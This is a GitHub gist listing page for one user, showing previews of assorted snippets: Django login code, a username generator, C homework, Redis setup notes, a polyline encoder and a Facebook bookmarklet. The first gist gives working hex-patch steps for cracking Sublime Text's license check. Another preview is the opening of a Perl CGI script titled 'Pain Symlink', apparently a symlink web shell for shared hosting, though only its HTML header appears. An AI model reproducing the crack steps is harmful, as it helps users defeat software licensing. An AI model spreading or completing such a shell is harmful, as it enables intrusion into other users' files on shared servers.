Skip to content

Instantly share code, notes, and snippets.

View d1p's full-sized avatar
🚀
work work & more work

Debashis Dip d1p

🚀
work work & more work
View GitHub Profile
How to crack Sublime Text (2 and 3)
===
1. Open Sublime in a HEX editor (the executable file)
2. Find 43 33 33 42 30 32
3. Replace in the string above 33 42 with 32 42
4. Save
5. Enter the license below:
—–BEGIN LICENSE—–
@d1p
d1p / auth.py
Created November 4, 2014 15:30
A boilerplate code for manuly Django login. Good for email & username logins
if request.method == 'POST':
form = LoginForm(request.POST)
if form.is_valid():
user = None
if '@' in form.cleaned_data.get('username_or_email'):
try:
user = User.objects.get(email=form.cleaned_data.get('username_or_email'))
user.backend = 'django.contrib.auth.backends.ModelBackend'
except User.DoesNotExist:
messages.add_message(request, messages.ERROR, 'Incorrect email or password.')
#!/usr/bin/perl -I/usr/local/bandmin
print "Content-type: text/html\n\n";
print'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Language" content="en-us" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>[~] Pain Symlink</title>
<style type="text/css">
.newStyle1 {
@d1p
d1p / gist:e62f0d3c3366f2385cfbdf4bf8d745fc
Created August 24, 2016 03:21 — forked from jcinis/gist:2866253
Generate a random username for Django
from random import choice
from string import ascii_lowercase, digits
from django.contrib.auth.models import User
def generate_random_username(length=16, chars=ascii_lowercase+digits, split=4, delimiter='-'):
username = ''.join([choice(chars) for i in xrange(length)])
if split:
username = delimiter.join([username[start:start+split] for start in range(0, len(username), split)])
@d1p
d1p / bootstrap-datepicker.js
Created October 31, 2016 18:43
undefined hidden fix
/* =========================================================
* bootstrap-datepicker.js
* http://www.eyecon.ro/bootstrap-datepicker
* =========================================================
* Copyright 2012 Stefan Petre
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
@d1p
d1p / array.c
Last active July 28, 2017 16:47
Homework..
#include <stdio.h>
#include <string.h>
typedef struct
{
char name[40];
int math;
int bangla;
int english;
int total;
float avarage;
@d1p
d1p / cloudSettings
Last active October 28, 2017 06:48
Visual Studio Code Settings Sync Gist
{"lastUpload":"2017-10-28T06:47:58.086Z","extensionVersion":"v2.8.3"}
@d1p
d1p / mac-setup-redis.md
Created April 29, 2018 18:38 — forked from tomysmile/mac-setup-redis.md
Brew install Redis on Mac

type below:

brew update
brew install redis

To have launchd start redis now and restart at login:

brew services start redis
@d1p
d1p / gist:571f1d0ec073b783c160124440ca0136
Created June 6, 2018 12:23 — forked from signed0/gist:2031157
Google Polyline encoder & decoder
'''Provides utility functions for encoding and decoding linestrings using the
Google encoded polyline algorithm.
'''
def encode_coords(coords):
'''Encodes a polyline using Google's polyline algorithm
See http://code.google.com/apis/maps/documentation/polylinealgorithm.html
for more information.
// Goto https://m.facebook.com/friends/center/requests/outgoing/#friends_center_main
javascript:var inputs = document.getElementsByClassName('_54k8 _56bs _56bt');
for(var i=0; i<inputs.length;i++) {
inputs[i].click();
}